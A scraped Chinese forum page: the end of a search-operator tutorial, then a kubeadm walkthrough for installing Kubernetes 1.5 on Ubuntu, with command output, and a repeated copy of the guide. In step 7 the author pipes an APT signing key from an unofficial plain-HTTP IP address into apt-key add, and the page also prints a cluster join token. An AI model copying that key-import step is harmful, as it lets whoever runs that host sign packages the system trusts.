allintitle.png


11、allinurl


与allintitle: 类似,allinurl:zabbix hadoop,就相当于 :inurl:zabbix inurl:hadoop 
allinurl.png


12、site站内搜索


绝大部分网站的搜索功能都有所欠缺,因此,更好的方法是通过 Google 等搜索引擎对站内的信息进行搜索。

你只需要在搜索引擎上输入「site:openskill.cn」加上关键词,搜索引擎就会反馈网站「openskill.cn」内和关键词相关的所有条目。如果再结合准确搜索功能,这项功能将会变得更加强大。
site.png


13、filetype


用于搜索特定文件格式。Google 和bd都支持filetype指令。 比如搜索filetype:pdf docker 返回的就是包含SEO 这个关键词的所有pdf 文件。 
filetype.png


14、搜索相关网站


查找与您已浏览过的网址类似的网站, 例如,你仅需在搜索引擎中输入「related:openskill.cn」即可得到所有和「openskill.cn」相关的网站反馈结果。
relate.png


15、搜索技能的组合使用


你可以对上述所有搜索技能进行组合运用,以便按照自己的意愿缩小或者扩展搜索范围。尽管有些技能或许并不常用,但准确搜索和站内搜索这些技能的使用范围还是相当广泛的。
union.png


其他技巧


other.png

随着 Google 等搜索引擎对于用户自然语言的理解程度与日俱增,这些搜索技能可以派上用场的情况或许将会变得越来越少,至少这是所有搜索引擎共同追求的目标。但是在当下,掌握这些搜索技能还是非常必要的。

参考:http://www.cnblogs.com/feiyuhuo/p/5398238.html http://blog.jobbole.com/72211/ 

使用Kubeadm安装Kubernetes1.5版本

Not see︶ 发表了文章 • 2 个评论 • 122 次浏览 • 2017-01-11 18:52 • 来自相关话题

1、下载说需要的包都得在墙外,需要翻墙。 但服务器上总不能提供这种便利。 比较麻烦。 两种办法,一种是绑定hosts  由于Kubernetes 编译的各种发行版安装包来源于 Github 上的另一个叫 release 的项目,把这个项目 clone 下来,  

可以参考漠然的文章: https://mritd.me/2016/10/29/set-up-kubernetes-cluster-by-kubeadm/
 
2、我是用的方法 是通过hosts绑定, 然后通过打包到源码,下次直接使用
使用Kubeadm安装Kubernetes1.5版本

1、系统版本:ubuntu16.04

root@master:~# docker version

Client:

Version: 1.12.1

API version: 1.24

Go version: go1.6.2

Git commit: 23cf638

Built: Tue, 27 Sep 2016 12:25:38 +1300

OS/Arch: linux/amd64



Server:

Version: 1.12.1

API version: 1.24

Go version: go1.6.2

Git commit: 23cf638

Built: Tue, 27 Sep 2016 12:25:38 +1300

OS/Arch: linux/amd64





1、部署前提条件

每台主机上面至少1G内存。

所有主机之间网络可达。



2、部署:

在主机上安装kubelet和kubeadm

curl -s https://packages.cloud.google.com/apt/doc/apt-key.gpg | apt-key add -

主机master上操作如下:

cat <<EOF >/etc/apt/sources.list.d/kubernetes.list

deb http://apt.kubernetes.io/ kubernetes-xenial main

EOF

apt-get update

apt-get install -y docker.io

apt-get install -y kubelet kubeadm kubectl kubernetes-cni

下载后的kube组件并未自动运行起来。在 /lib/systemd/system下面我们能看到kubelet.service

root@master:~# ls /lib/systemd/system |grep kube

kubelet.service

kubelet的版本:

root@master:~# kubelet --version

Kubernetes v1.5.1

k8s的核心组件都有了,接下来我们就要boostrap kubernetes cluster了。

3、初始化集群

理论上通过kubeadm使用init和join命令即可建立一个集群,这init就是在master节点对集群进行初始化。和k8s 1.4之前的部署方式不同的是,

kubeadm安装的k8s核心组件都是以容器的形式运行于master node上的。因此在kubeadm init之前,最好给master node上的docker engine挂上加速器代理,

因为kubeadm要从gcr.io/google_containers repository中pull许多核心组件的images


在Kubeadm的文档中,Pod Network的安装是作为一个单独的步骤的。kubeadm init并没有为你选择一个默认的Pod network进行安装。

我们将首选Flannel 作为我们的Pod network,这不仅是因为我们的上一个集群用的就是flannel,而且表现稳定。

更是由于Flannel就是coreos为k8s打造的专属overlay network add-ons。甚至于flannel repository的readme.md都这样写着:“flannel is a network fabric for containers, designed for Kubernetes”。

如果我们要使用Flannel,那么在执行init时,按照kubeadm文档要求,我们必须给init命令带上option:–pod-network-cidr=10.244.0.0/16。


4、执行kubeadm init

执行kubeadm init命令:

root@master:~# kubeadm init --pod-network-cidr=10.244.0.0/16

[kubeadm] WARNING: kubeadm is in alpha, please do not use it for production clusters.

[preflight] Running pre-flight checks

[preflight] Starting the kubelet service

[init] Using Kubernetes version: v1.5.1

[tokens] Generated token: "2909ca.c0b0772a8817f9e3"

[certificates] Generated Certificate Authority key and certificate.

[certificates] Generated API Server key and certificate

[certificates] Generated Service Account signing keys

[certificates] Created keys and certificates in "/etc/kubernetes/pki"

[kubeconfig] Wrote KubeConfig file to disk: "/etc/kubernetes/kubelet.conf"

[kubeconfig] Wrote KubeConfig file to disk: "/etc/kubernetes/admin.conf"

[apiclient] Created API client, waiting for the control plane to become ready

[apiclient] All control plane components are healthy after 14.761716 seconds

[apiclient] Waiting for at least one node to register and become ready

[apiclient] First node is ready after 1.003312 seconds

[apiclient] Creating a test deployment

[apiclient] Test deployment succeeded

[token-discovery] Created the kube-discovery deployment, waiting for it to become ready

[token-discovery] kube-discovery is ready after 1.002402 seconds

[addons] Created essential addon: kube-proxy

[addons] Created essential addon: kube-dns



Your Kubernetes master has initialized successfully!



You should now deploy a pod network to the cluster.

Run "kubectl apply -f [podnetwork].yaml" with one of the options listed at:

http://kubernetes.io/docs/admin/addons/



You can now join any number of machines by running the following on each node:



kubeadm join --token=2909ca.c0b0772a8817f9e3 xxx.xxx.xxx.xxx (ip记下)



init成功后的master node有啥变化?k8s的核心组件均正常启动:

root@master:~# ps -ef |grep kube

root 23817 1 2 14:07 ? 00:00:35 /usr/bin/kubelet --kubeconfig=/etc/kubernetes/kubelet.conf --require-kubeconfig=true --pod-manifest-path=/etc/kubernetes/manifests --allow-privileged=true --network-plugin=cni --cni-conf-dir=/etc/cni/net.d --cni-bin-dir=/opt/cni/bin --cluster-dns=10.96.0.10 --cluster-domain=cluster.local

root 23921 23900 0 14:07 ? 00:00:01 kube-scheduler --address=127.0.0.1 --leader-elect --master=127.0.0.1:8080

root 24055 24036 0 14:07 ? 00:00:10 kube-apiserver --insecure-bind-address=127.0.0.1 --admission-control=NamespaceLifecycle,LimitRanger,ServiceAccount,PersistentVolumeLabel,DefaultStorageClass,ResourceQuota --service-cluster-ip-range=10.96.0.0/12 --service-account-key-file=/etc/kubernetes/pki/apiserver-key.pem --client-ca-file=/etc/kubernetes/pki/ca.pem --tls-cert-file=/etc/kubernetes/pki/apiserver.pem --tls-private-key-file=/etc/kubernetes/pki/apiserver-key.pem --token-auth-file=/etc/kubernetes/pki/tokens.csv --secure-port=6443 --allow-privileged --advertise-address=master的ip --kubelet-preferred-address-types=InternalIP,ExternalIP,Hostname --anonymous-auth=false --etcd-servers=http://127.0.0.1:2379

root 24084 24070 0 14:07 ? 00:00:11 kube-controller-manager --address=127.0.0.1 --leader-elect --master=127.0.0.1:8080 --cluster-name=kubernetes --root-ca-file=/etc/kubernetes/pki/ca.pem --service-account-private-key-file=/etc/kubernetes/pki/apiserver-key.pem --cluster-signing-cert-file=/etc/kubernetes/pki/ca.pem --cluster-signing-key-file=/etc/kubernetes/pki/ca-key.pem --insecure-experimental-approve-all-kubelet-csrs-for-group=system:kubelet-bootstrap --allocate-node-cidrs=true --cluster-cidr=10.244.0.0/16

root 24242 24227 0 14:07 ? 00:00:00 /usr/local/bin/kube-discovery

root 24308 24293 1 14:07 ? 00:00:15 kube-proxy --kubeconfig=/run/kubeconfig

root 29457 29441 0 14:09 ? 00:00:00 /opt/bin/flanneld --ip-masq --kube-subnet-mgr

root 29498 29481 0 14:09 ? 00:00:00 /bin/sh -c set -e -x; cp -f /etc/kube-flannel/cni-conf.json /etc/cni/net.d/10-flannel.conf; while true; do sleep 3600; done

root 30372 30357 0 14:10 ? 00:00:01 /exechealthz --cmd=nslookup kubernetes.default.svc.cluster.local 127.0.0.1 >/dev/null --url=/healthz-dnsmasq --cmd=nslookup kubernetes.default.svc.cluster.local 127.0.0.1:10053 >/dev/null --url=/healthz-kubedns --port=8080 --quiet

root 30682 30667 0 14:10 ? 00:00:01 /kube-dns --domain=cluster.local --dns-port=10053 --config-map=kube-dns --v=2

root 48755 1796 0 14:31 pts/0 00:00:00 grep --color=auto kube



而且以多cotainer的形式启动

root@master:~# docker ps

CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES

c4209b1077d2 gcr.io/google_containers/kubedns-amd64:1.9 "/kube-dns --domain=c" 22 minutes ago Up 22 minutes k8s_kube-dns.61e5a20f_kube-dns-2924299975-txh1v_kube-system_f5364cd5-d631-11e6-9d86-0050569c3e9b_fc02f762

0908d6398b0b gcr.io/google_containers/exechealthz-amd64:1.2 "/exechealthz '--cmd=" 22 minutes ago Up 22 minutes k8s_healthz.9d343f54_kube-dns-2924299975-txh1v_kube-system_f5364cd5-d631-11e6-9d86-0050569c3e9b_0ee806f6

0e35e96ca4ac gcr.io/google_containers/dnsmasq-metrics-amd64:1.0 "/dnsmasq-metrics --v" 22 minutes ago Up 22 minutes k8s_dnsmasq-metrics.2bb05ef7_kube-dns-2924299975-txh1v_kube-system_f5364cd5-d631-11e6-9d86-0050569c3e9b_436b9370

3921b4e59aca gcr.io/google_containers/kube-dnsmasq-amd64:1.4 "/usr/sbin/dnsmasq --" 22 minutes ago Up 22 minutes k8s_dnsmasq.f7e18a01_kube-dns-2924299975-txh1v_kube-system_f5364cd5-d631-11e6-9d86-0050569c3e9b_06c5efa7

18513413ba60 gcr.io/google_containers/pause-amd64:3.0 "/pause" 22 minutes ago Up 22 minutes k8s_POD.d8dbe16c_kube-dns-2924299975-txh1v_kube-system_f5364cd5-d631-11e6-9d86-0050569c3e9b_9de0a18d

45132c8d6d3d quay.io/coreos/flannel-git:v0.6.1-28-g5dde68d-amd64 "/bin/sh -c 'set -e -" 23 minutes ago Up 23 minutes k8s_install-cni.fc218cef_kube-flannel-ds-0fnxc_kube-system_22034e49-d632-11e6-9d86-0050569c3e9b_88dffd75

4c2a2e46c808 quay.io/coreos/flannel-git:v0.6.1-28-g5dde68d-amd64 "/opt/bin/flanneld --" 23 minutes ago Up 23 minutes k8s_kube-flannel.5fdd90ba_kube-flannel-ds-0fnxc_kube-system_22034e49-d632-11e6-9d86-0050569c3e9b_2706c3cb

ad08c8dd177c gcr.io/google_containers/pause-amd64:3.0 "/pause" 23 minutes ago Up 23 minutes k8s_POD.d8dbe16c_kube-flannel-ds-0fnxc_kube-system_22034e49-d632-11e6-9d86-0050569c3e9b_279d8436

847f00759977 gcr.io/google_containers/kube-proxy-amd64:v1.5.1 "kube-proxy --kubecon" 24 minutes ago Up 24 minutes k8s_kube-proxy.2f62b4e5_kube-proxy-9c0bf_kube-system_f5326252-d631-11e6-9d86-0050569c3e9b_c1f31904

f8da0f38f3e1 gcr.io/google_containers/pause-amd64:3.0 "/pause" 24 minutes ago Up 24 minutes k8s_POD.d8dbe16c_kube-proxy-9c0bf_kube-system_f5326252-d631-11e6-9d86-0050569c3e9b_c340d947

c1efa29640d1 gcr.io/google_containers/kube-discovery-amd64:1.0 "/usr/local/bin/kube-" 24 minutes ago Up 24 minutes k8s_kube-discovery.6907cb07_kube-discovery-1769846148-4rsq9_kube-system_f49933be-d631-11e6-9d86-0050569c3e9b_c4827da2

4c6a646d0b2e gcr.io/google_containers/pause-amd64:3.0 "/pause" 24 minutes ago Up 24 minutes k8s_POD.d8dbe16c_kube-discovery-1769846148-4rsq9_kube-system_f49933be-d631-11e6-9d86-0050569c3e9b_8823b66a

ece79181f177 gcr.io/google_containers/pause-amd64:3.0 "/pause" 24 minutes ago Up 24 minutes k8s_dummy.702d1bd5_dummy-2088944543-r2mw3_kube-system_f38f3ede-d631-11e6-9d86-0050569c3e9b_ade728ba

9c3364c623df gcr.io/google_containers/pause-amd64:3.0 "/pause" 24 minutes ago Up 24 minutes k8s_POD.d8dbe16c_dummy-2088944543-r2mw3_kube-system_f38f3ede-d631-11e6-9d86-0050569c3e9b_838c58b5

a64a3363a82b gcr.io/google_containers/kube-controller-manager-amd64:v1.5.1 "kube-controller-mana" 25 minutes ago Up 25 minutes k8s_kube-controller-manager.84edb2e5_kube-controller-manager-master_kube-system_7b7c15f8228e3413d3b0d0bad799b1ea_697ef6ee

27625502c298 gcr.io/google_containers/kube-apiserver-amd64:v1.5.1 "kube-apiserver --ins" 25 minutes ago Up 25 minutes k8s_kube-apiserver.5942f3e3_kube-apiserver-master_kube-system_aeb59dd32f3217b366540250d2c35d8c_38a83844

5b2cc5cb9ac1 gcr.io/google_containers/pause-amd64:3.0 "/pause" 25 minutes ago Up 25 minutes k8s_POD.d8dbe16c_kube-controller-manager-master_kube-system_7b7c15f8228e3413d3b0d0bad799b1ea_2f88a796

e12ef7b3c1f0 gcr.io/google_containers/etcd-amd64:3.0.14-kubeadm "etcd --listen-client" 25 minutes ago Up 25 minutes k8s_etcd.c323986f_etcd-master_kube-system_3a26566bb004c61cd05382212e3f978f_ef6eb513

84a731cbce18 gcr.io/google_containers/pause-amd64:3.0 "/pause" 25 minutes ago Up 25 minutes k8s_POD.d8dbe16c_kube-apiserver-master_kube-system_aeb59dd32f3217b366540250d2c35d8c_a3a2ea4e

612b021457a1 gcr.io/google_containers/kube-scheduler-amd64:v1.5.1 "kube-scheduler --add" 25 minutes ago Up 25 minutes k8s_kube-scheduler.bb7d750_kube-scheduler-master_kube-system_0545c2e223307b5ab8c74b0ffed56ac7_a49fab86

ac0d8698f79f gcr.io/google_containers/pause-amd64:3.0 "/pause" 25 minutes ago Up 25 minutes k8s_POD.d8dbe16c_etcd-master_kube-system_3a26566bb004c61cd05382212e3f978f_9a6b7925

2a16a2217bf3 gcr.io/google_containers/pause-amd64:3.0 "/pause" 25 minutes ago Up 25 minutes k8s_POD.d8dbe16c_kube-scheduler-master_kube-system_0545c2e223307b5ab8c74b0ffed56ac7_d2b51317





kube-apiserver的IP是host ip,从而推断容器使用的是host网络,这从其对应的pause容器的network属性就可以看出:



root@master:~# docker ps |grep apiserver

27625502c298 gcr.io/google_containers/kube-apiserver-amd64:v1.5.1 "kube-apiserver --ins" 26 minutes ago Up 26 minutes k8s_kube-apiserver.5942f3e3_kubeapiserver-master_kube-system_aeb59dd32f3217b366540250d2c35d8c_38a83844

84a731cbce18 gcr.io/google_containers/pause-amd64:3.0 "/pause" 26 minutes ago Up 26 minutes k8s_POD.d8dbe16c_kube-apiserver-master_kube-system_aeb59dd32f3217b366540250d2c35d8c_a3a2ea4e



问题一、

如果kubeadm init执行过程中途出现了什么问题,比如前期忘记挂加速器导致init hang住,你可能会ctrl+c退出init执行。重新配置后,再执行kubeadm init,这时你可能会遇到下面kubeadm的输出:

# kubeadm init --pod-network-cidr=10.244.0.0/16

[kubeadm] WARNING: kubeadm is in alpha, please do not use it for production clusters.

[preflight] Running pre-flight checks

[preflight] Some fatal errors occurred:

Port 10250 is in use

/etc/kubernetes/manifests is not empty

/etc/kubernetes/pki is not empty

/var/lib/kubelet is not empty

/etc/kubernetes/admin.conf already exists

/etc/kubernetes/kubelet.conf already exists

[preflight] If you know what you are doing, you can skip pre-flight checks with `--skip-preflight-checks`



kubeadm会自动检查当前环境是否有上次命令执行的“残留”。如果有,必须清理后再行执行init。我们可以通过”kubeadm reset”来清理环境,以备重来。



# kubeadm reset

[preflight] Running pre-flight checks

[reset] Draining node: "iz25beglnhtz"

[reset] Removing node: "iz25beglnhtz"

[reset] Stopping the kubelet service

[reset] Unmounting mounted directories in "/var/lib/kubelet"

[reset] Removing kubernetes-managed containers

[reset] Deleting contents of stateful directories: [/var/lib/kubelet /etc/cni/net.d /var/lib/etcd]

[reset] Deleting contents of config directories: [/etc/kubernetes/manifests /etc/kubernetes/pki]

[reset] Deleting files: [/etc/kubernetes/admin.conf /etc/kubernetes/kubelet.conf]





5、要使用Flannel网络,因此我们需要执行如下安装命令:

#kubectl apply -f https://raw.githubusercontent.com/coreos/flannel/master/Documentation/kube-flannel.yml

configmap "kube-flannel-cfg" created

daemonset "kube-flannel-ds" created



需要稍等几秒钟,我们再来看master node上的cluster信息:

root@master:~# ps -ef |grep kube |grep flannel

root 29457 29441 0 14:09 ? 00:00:00 /opt/bin/flanneld --ip-masq --kube-subnet-mgr

root 29498 29481 0 14:09 ? 00:00:00 /bin/sh -c set -e -x; cp -f /etc/kube-flannel/cni-conf.json /etc/cni/net.d/10-flannel.conf; while true; do sleep 3600; done



root@master:~# kubectl get pods --all-namespaces

NAMESPACE NAME READY STATUS RESTARTS AGE

kube-system dummy-2088944543-r2mw3 1/1 Running 0 30m

kube-system etcd-master 1/1 Running 0 31m

kube-system kube-apiserver-master 1/1 Running 0 31m

kube-system kube-controller-manager-master 1/1 Running 0 31m

kube-system kube-discovery-1769846148-4rsq9 1/1 Running 0 30m

kube-system kube-dns-2924299975-txh1v 4/4 Running 0 30m

kube-system kube-flannel-ds-0fnxc 2/2 Running 0 29m

kube-system kube-flannel-ds-lpgpv 2/2 Running 0 23m

kube-system kube-flannel-ds-s05nr 2/2 Running 0 18m

kube-system kube-proxy-9c0bf 1/1 Running 0 30m

kube-system kube-proxy-t8hxr 1/1 Running 0 18m

kube-system kube-proxy-zd0v2 1/1 Running 0 23m

kube-system kube-scheduler-master 1/1 Running 0 31m



至少集群的核心组件已经全部run起来了。看起来似乎是成功了。





接下来开始node下的操作



6、minion node:join the cluster



这里我们用到了kubeadm的第二个命令:kubeadm join。



在minion node上执行(注意:这里要保证master node的9898端口在防火墙是打开的):

前提node下需要有上面安装的kube组建

7、安装kubelet和kubeadm

curl -s https://packages.cloud.google.com/apt/doc/apt-key.gpg | apt-key add -

我是用的是

http://119.29.98.145:8070/zhi/apt-key.gpg



主机master上操作如下:



curl -s http://119.29.98.145:8070/zhi/apt-key.gpg | apt-key add -



cat <<EOF >/etc/apt/sources.list.d/kubernetes.list



deb http://apt.kubernetes.io/ kubernetes-xenial main



EOF



apt-get update



apt-get install -y docker.io

apt-get install -y kubelet kubeadm kubectl kubernetes-cni

记住master的token

root@node01:~# kubeadm join --token=2909ca.c0b0772a8817f9e3 xxx.xxx.xxx.xxx(ip)

8、在master node上查看当前cluster状态:

root@master:~# kubectl get node

NAME STATUS AGE

master Ready,master 59m

node01 Ready 51m

node02 Ready 46m 查看全部
1、下载说需要的包都得在墙外,需要翻墙。 但服务器上总不能提供这种便利。 比较麻烦。 两种办法,一种是绑定hosts  由于Kubernetes 编译的各种发行版安装包来源于 Github 上的另一个叫 release 的项目,把这个项目 clone 下来,  

可以参考漠然的文章: https://mritd.me/2016/10/29/set-up-kubernetes-cluster-by-kubeadm/
 
2、我是用的方法 是通过hosts绑定, 然后通过打包到源码,下次直接使用
使用Kubeadm安装Kubernetes1.5版本

1、系统版本:ubuntu16.04

root@master:~# docker version

Client:

Version: 1.12.1

API version: 1.24

Go version: go1.6.2

Git commit: 23cf638

Built: Tue, 27 Sep 2016 12:25:38 +1300

OS/Arch: linux/amd64



Server:

Version: 1.12.1

API version: 1.24

Go version: go1.6.2

Git commit: 23cf638

Built: Tue, 27 Sep 2016 12:25:38 +1300

OS/Arch: linux/amd64





1、部署前提条件

每台主机上面至少1G内存。

所有主机之间网络可达。



2、部署:

在主机上安装kubelet和kubeadm

curl -s https://packages.cloud.google.com/apt/doc/apt-key.gpg | apt-key add -

主机master上操作如下:

cat <<EOF >/etc/apt/sources.list.d/kubernetes.list

deb http://apt.kubernetes.io/ kubernetes-xenial main

EOF

apt-get update

apt-get install -y docker.io

apt-get install -y kubelet kubeadm kubectl kubernetes-cni

下载后的kube组件并未自动运行起来。在 /lib/systemd/system下面我们能看到kubelet.service

root@master:~# ls /lib/systemd/system |grep kube

kubelet.service

kubelet的版本:

root@master:~# kubelet --version

Kubernetes v1.5.1

k8s的核心组件都有了,接下来我们就要boostrap kubernetes cluster了。

3、初始化集群

理论上通过kubeadm使用init和join命令即可建立一个集群,这init就是在master节点对集群进行初始化。和k8s 1.4之前的部署方式不同的是,

kubeadm安装的k8s核心组件都是以容器的形式运行于master node上的。因此在kubeadm init之前,最好给master node上的docker engine挂上加速器代理,

因为kubeadm要从gcr.io/google_containers repository中pull许多核心组件的images


在Kubeadm的文档中,Pod Network的安装是作为一个单独的步骤的。kubeadm init并没有为你选择一个默认的Pod network进行安装。

我们将首选Flannel 作为我们的Pod network,这不仅是因为我们的上一个集群用的就是flannel,而且表现稳定。

更是由于Flannel就是coreos为k8s打造的专属overlay network add-ons。甚至于flannel repository的readme.md都这样写着:“flannel is a network fabric for containers, designed for Kubernetes”。

如果我们要使用Flannel,那么在执行init时,按照kubeadm文档要求,我们必须给init命令带上option:–pod-network-cidr=10.244.0.0/16。


4、执行kubeadm init

执行kubeadm init命令:

root@master:~# kubeadm init --pod-network-cidr=10.244.0.0/16

[kubeadm] WARNING: kubeadm is in alpha, please do not use it for production clusters.

[preflight] Running pre-flight checks

[preflight] Starting the kubelet service

[init] Using Kubernetes version: v1.5.1

[tokens] Generated token: "2909ca.c0b0772a8817f9e3"

[certificates] Generated Certificate Authority key and certificate.

[certificates] Generated API Server key and certificate

[certificates] Generated Service Account signing keys

[certificates] Created keys and certificates in "/etc/kubernetes/pki"

[kubeconfig] Wrote KubeConfig file to disk: "/etc/kubernetes/kubelet.conf"

[kubeconfig] Wrote KubeConfig file to disk: "/etc/kubernetes/admin.conf"

[apiclient] Created API client, waiting for the control plane to become ready

[apiclient] All control plane components are healthy after 14.761716 seconds

[apiclient] Waiting for at least one node to register and become ready

[apiclient] First node is ready after 1.003312 seconds

[apiclient] Creating a test deployment

[apiclient] Test deployment succeeded

[token-discovery] Created the kube-discovery deployment, waiting for it to become ready

[token-discovery] kube-discovery is ready after 1.002402 seconds

[addons] Created essential addon: kube-proxy

[addons] Created essential addon: kube-dns



Your Kubernetes master has initialized successfully!



You should now deploy a pod network to the cluster.

Run "kubectl apply -f [podnetwork].yaml" with one of the options listed at:

http://kubernetes.io/docs/admin/addons/



You can now join any number of machines by running the following on each node:



kubeadm join --token=2909ca.c0b0772a8817f9e3 xxx.xxx.xxx.xxx (ip记下)



init成功后的master node有啥变化?k8s的核心组件均正常启动:

root@master:~# ps -ef |grep kube

root 23817 1 2 14:07 ? 00:00:35 /usr/bin/kubelet --kubeconfig=/etc/kubernetes/kubelet.conf --require-kubeconfig=true --pod-manifest-path=/etc/kubernetes/manifests --allow-privileged=true --network-plugin=cni --cni-conf-dir=/etc/cni/net.d --cni-bin-dir=/opt/cni/bin --cluster-dns=10.96.0.10 --cluster-domain=cluster.local

root 23921 23900 0 14:07 ? 00:00:01 kube-scheduler --address=127.0.0.1 --leader-elect --master=127.0.0.1:8080

root 24055 24036 0 14:07 ? 00:00:10 kube-apiserver --insecure-bind-address=127.0.0.1 --admission-control=NamespaceLifecycle,LimitRanger,ServiceAccount,PersistentVolumeLabel,DefaultStorageClass,ResourceQuota --service-cluster-ip-range=10.96.0.0/12 --service-account-key-file=/etc/kubernetes/pki/apiserver-key.pem --client-ca-file=/etc/kubernetes/pki/ca.pem --tls-cert-file=/etc/kubernetes/pki/apiserver.pem --tls-private-key-file=/etc/kubernetes/pki/apiserver-key.pem --token-auth-file=/etc/kubernetes/pki/tokens.csv --secure-port=6443 --allow-privileged --advertise-address=master的ip --kubelet-preferred-address-types=InternalIP,ExternalIP,Hostname --anonymous-auth=false --etcd-servers=http://127.0.0.1:2379

root 24084 24070 0 14:07 ? 00:00:11 kube-controller-manager --address=127.0.0.1 --leader-elect --master=127.0.0.1:8080 --cluster-name=kubernetes --root-ca-file=/etc/kubernetes/pki/ca.pem --service-account-private-key-file=/etc/kubernetes/pki/apiserver-key.pem --cluster-signing-cert-file=/etc/kubernetes/pki/ca.pem --cluster-signing-key-file=/etc/kubernetes/pki/ca-key.pem --insecure-experimental-approve-all-kubelet-csrs-for-group=system:kubelet-bootstrap --allocate-node-cidrs=true --cluster-cidr=10.244.0.0/16

root 24242 24227 0 14:07 ? 00:00:00 /usr/local/bin/kube-discovery

root 24308 24293 1 14:07 ? 00:00:15 kube-proxy --kubeconfig=/run/kubeconfig

root 29457 29441 0 14:09 ? 00:00:00 /opt/bin/flanneld --ip-masq --kube-subnet-mgr

root 29498 29481 0 14:09 ? 00:00:00 /bin/sh -c set -e -x; cp -f /etc/kube-flannel/cni-conf.json /etc/cni/net.d/10-flannel.conf; while true; do sleep 3600; done

root 30372 30357 0 14:10 ? 00:00:01 /exechealthz --cmd=nslookup kubernetes.default.svc.cluster.local 127.0.0.1 >/dev/null --url=/healthz-dnsmasq --cmd=nslookup kubernetes.default.svc.cluster.local 127.0.0.1:10053 >/dev/null --url=/healthz-kubedns --port=8080 --quiet

root 30682 30667 0 14:10 ? 00:00:01 /kube-dns --domain=cluster.local --dns-port=10053 --config-map=kube-dns --v=2

root 48755 1796 0 14:31 pts/0 00:00:00 grep --color=auto kube



而且以多cotainer的形式启动

root@master:~# docker ps

CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES

c4209b1077d2 gcr.io/google_containers/kubedns-amd64:1.9 "/kube-dns --domain=c" 22 minutes ago Up 22 minutes k8s_kube-dns.61e5a20f_kube-dns-2924299975-txh1v_kube-system_f5364cd5-d631-11e6-9d86-0050569c3e9b_fc02f762

0908d6398b0b gcr.io/google_containers/exechealthz-amd64:1.2 "/exechealthz '--cmd=" 22 minutes ago Up 22 minutes k8s_healthz.9d343f54_kube-dns-2924299975-txh1v_kube-system_f5364cd5-d631-11e6-9d86-0050569c3e9b_0ee806f6

0e35e96ca4ac gcr.io/google_containers/dnsmasq-metrics-amd64:1.0 "/dnsmasq-metrics --v" 22 minutes ago Up 22 minutes k8s_dnsmasq-metrics.2bb05ef7_kube-dns-2924299975-txh1v_kube-system_f5364cd5-d631-11e6-9d86-0050569c3e9b_436b9370

3921b4e59aca gcr.io/google_containers/kube-dnsmasq-amd64:1.4 "/usr/sbin/dnsmasq --" 22 minutes ago Up 22 minutes k8s_dnsmasq.f7e18a01_kube-dns-2924299975-txh1v_kube-system_f5364cd5-d631-11e6-9d86-0050569c3e9b_06c5efa7

18513413ba60 gcr.io/google_containers/pause-amd64:3.0 "/pause" 22 minutes ago Up 22 minutes k8s_POD.d8dbe16c_kube-dns-2924299975-txh1v_kube-system_f5364cd5-d631-11e6-9d86-0050569c3e9b_9de0a18d

45132c8d6d3d quay.io/coreos/flannel-git:v0.6.1-28-g5dde68d-amd64 "/bin/sh -c 'set -e -" 23 minutes ago Up 23 minutes k8s_install-cni.fc218cef_kube-flannel-ds-0fnxc_kube-system_22034e49-d632-11e6-9d86-0050569c3e9b_88dffd75

4c2a2e46c808 quay.io/coreos/flannel-git:v0.6.1-28-g5dde68d-amd64 "/opt/bin/flanneld --" 23 minutes ago Up 23 minutes k8s_kube-flannel.5fdd90ba_kube-flannel-ds-0fnxc_kube-system_22034e49-d632-11e6-9d86-0050569c3e9b_2706c3cb

ad08c8dd177c gcr.io/google_containers/pause-amd64:3.0 "/pause" 23 minutes ago Up 23 minutes k8s_POD.d8dbe16c_kube-flannel-ds-0fnxc_kube-system_22034e49-d632-11e6-9d86-0050569c3e9b_279d8436

847f00759977 gcr.io/google_containers/kube-proxy-amd64:v1.5.1 "kube-proxy --kubecon" 24 minutes ago Up 24 minutes k8s_kube-proxy.2f62b4e5_kube-proxy-9c0bf_kube-system_f5326252-d631-11e6-9d86-0050569c3e9b_c1f31904

f8da0f38f3e1 gcr.io/google_containers/pause-amd64:3.0 "/pause" 24 minutes ago Up 24 minutes k8s_POD.d8dbe16c_kube-proxy-9c0bf_kube-system_f5326252-d631-11e6-9d86-0050569c3e9b_c340d947

c1efa29640d1 gcr.io/google_containers/kube-discovery-amd64:1.0 "/usr/local/bin/kube-" 24 minutes ago Up 24 minutes k8s_kube-discovery.6907cb07_kube-discovery-1769846148-4rsq9_kube-system_f49933be-d631-11e6-9d86-0050569c3e9b_c4827da2

4c6a646d0b2e gcr.io/google_containers/pause-amd64:3.0 "/pause" 24 minutes ago Up 24 minutes k8s_POD.d8dbe16c_kube-discovery-1769846148-4rsq9_kube-system_f49933be-d631-11e6-9d86-0050569c3e9b_8823b66a

ece79181f177 gcr.io/google_containers/pause-amd64:3.0 "/pause" 24 minutes ago Up 24 minutes k8s_dummy.702d1bd5_dummy-2088944543-r2mw3_kube-system_f38f3ede-d631-11e6-9d86-0050569c3e9b_ade728ba

9c3364c623df gcr.io/google_containers/pause-amd64:3.0 "/pause" 24 minutes ago Up 24 minutes k8s_POD.d8dbe16c_dummy-2088944543-r2mw3_kube-system_f38f3ede-d631-11e6-9d86-0050569c3e9b_838c58b5

a64a3363a82b gcr.io/google_containers/kube-controller-manager-amd64:v1.5.1 "kube-controller-mana" 25 minutes ago Up 25 minutes k8s_kube-controller-manager.84edb2e5_kube-controller-manager-master_kube-system_7b7c15f8228e3413d3b0d0bad799b1ea_697ef6ee

27625502c298 gcr.io/google_containers/kube-apiserver-amd64:v1.5.1 "kube-apiserver --ins" 25 minutes ago Up 25 minutes k8s_kube-apiserver.5942f3e3_kube-apiserver-master_kube-system_aeb59dd32f3217b366540250d2c35d8c_38a83844

5b2cc5cb9ac1 gcr.io/google_containers/pause-amd64:3.0 "/pause" 25 minutes ago Up 25 minutes k8s_POD.d8dbe16c_kube-controller-manager-master_kube-system_7b7c15f8228e3413d3b0d0bad799b1ea_2f88a796

e12ef7b3c1f0 gcr.io/google_containers/etcd-amd64:3.0.14-kubeadm "etcd --listen-client" 25 minutes ago Up 25 minutes k8s_etcd.c323986f_etcd-master_kube-system_3a26566bb004c61cd05382212e3f978f_ef6eb513

84a731cbce18 gcr.io/google_containers/pause-amd64:3.0 "/pause" 25 minutes ago Up 25 minutes k8s_POD.d8dbe16c_kube-apiserver-master_kube-system_aeb59dd32f3217b366540250d2c35d8c_a3a2ea4e

